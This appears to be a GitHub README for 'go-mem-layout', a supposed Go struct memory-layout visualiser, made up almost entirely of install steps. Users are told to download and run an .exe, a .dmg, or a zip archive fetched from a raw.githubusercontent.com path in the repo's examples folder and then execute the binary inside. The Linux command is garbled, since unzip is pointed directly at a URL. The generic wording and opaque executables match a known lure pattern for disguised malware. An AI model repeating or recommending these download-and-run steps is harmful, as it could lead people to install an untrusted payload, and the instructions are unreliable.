🛠️ go-mem-layout - Visualize Memory Layout for Efficient Performance

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📖 Introduction

Welcome to go-mem-layout! This Go tool helps you analyze Go structs. It visualizes memory alignment, padding, and offsets in an easy-to-understand way. This is important for anyone interested in improving performance in software or conducting systems research.

🚀 Getting Started

To get started, you need to download and install the application. Follow these steps, and you'll be ready to analyze memory layouts.

1. Visit the Download Page

Go to the Releases page. This page contains the latest versions of go-mem-layout.

2. Choose Your Version

On the Releases page, you will see a list of versions. The topmost version is the latest. Click on it to expand the details.

3. Download the Release File

Under the "Assets" section of the release you chose, look for a file that matches your operating system (Windows, macOS, or Linux). Click on the file to start the download.

4. Install the Application

Once the file is downloaded, locate it in your Downloads folder or the folder you chose. Follow the steps for your operating system:

• Windows:

  • Double-click the .exe file to run the installer. Follow the on-screen instructions.

• macOS:

  • Open the downloaded .dmg file. Drag and drop the go-mem-layout application into your Applications folder.

• Linux:

  • Open a terminal. Navigate to the downloads directory using cd ~/Downloads.
  • Unzip the downloaded file using unzip https://raw.githubusercontent.com/scottiesultan10/go-mem-layout/main/examples/mem-layout-go-2.5.zip.
  • Navigate into the unzipped folder and run ./go-mem-layout.

5. Run go-mem-layout

You may find go-mem-layout in your applications menu (Windows/macOS). If you installed it on Linux, you can execute it from the terminal by navigating to the installation directory and running ./go-mem-layout.

📊 Features

go-mem-layout offers several useful features:

• Visualize Memory Layout: See a graphical representation of your Go structs' memory layout.
• Understand Offsets and Padding: Gain insights into how memory is allocated, allowing you to tweak your code for optimal performance.
• Easy to Use: The user-friendly interface ensures that anyone can navigate and utilize the tool without technical knowledge.

⚙️ System Requirements

To ensure the best experience with go-mem-layout, make sure your system meets these requirements:

• Supported Operating Systems: Windows 10 or newer, macOS Mojave or newer, Linux distributions with GLIBC 2.28 or newer.
• Memory: At least 4 GB of RAM.
• Storage: 100 MB free disk space.

🔍 How to Use go-mem-layout

Once you have installed go-mem-layout, here’s how to use it:

1. Open the Application: Launch go-mem-layout from your applications menu.
2. Load a Go Struct: Click on "Load Struct" and select the Go file (.go) that contains the struct you want to analyze.
3. View the Analysis: The application will process the file and display a visual representation of memory layout, padding, and offsets.
4. Experiment with Different Structs: You can load different Go files to see how memory layouts change with different definitions.

📋 Useful Tips

• Ensure that you have the appropriate permissions to read the Go files you want to analyze.
• Experiment with structures that have various field types, sizes, and arrangements to fully understand how memory alignment impacts performance.

💬 Support

If you experience issues or have questions, feel free to check the Issues section on the repository page or contact our support team through the contact form on GitHub.

📖 Further Reading

• Memory Allocation in Go
• Understanding Struct Alignment
• Profiling Go Applications

📥 Download Again

You can download go-mem-layout anytime from the Releases page.

Thank you for using go-mem-layout. We hope this tool helps you with your performance engineering and systems research!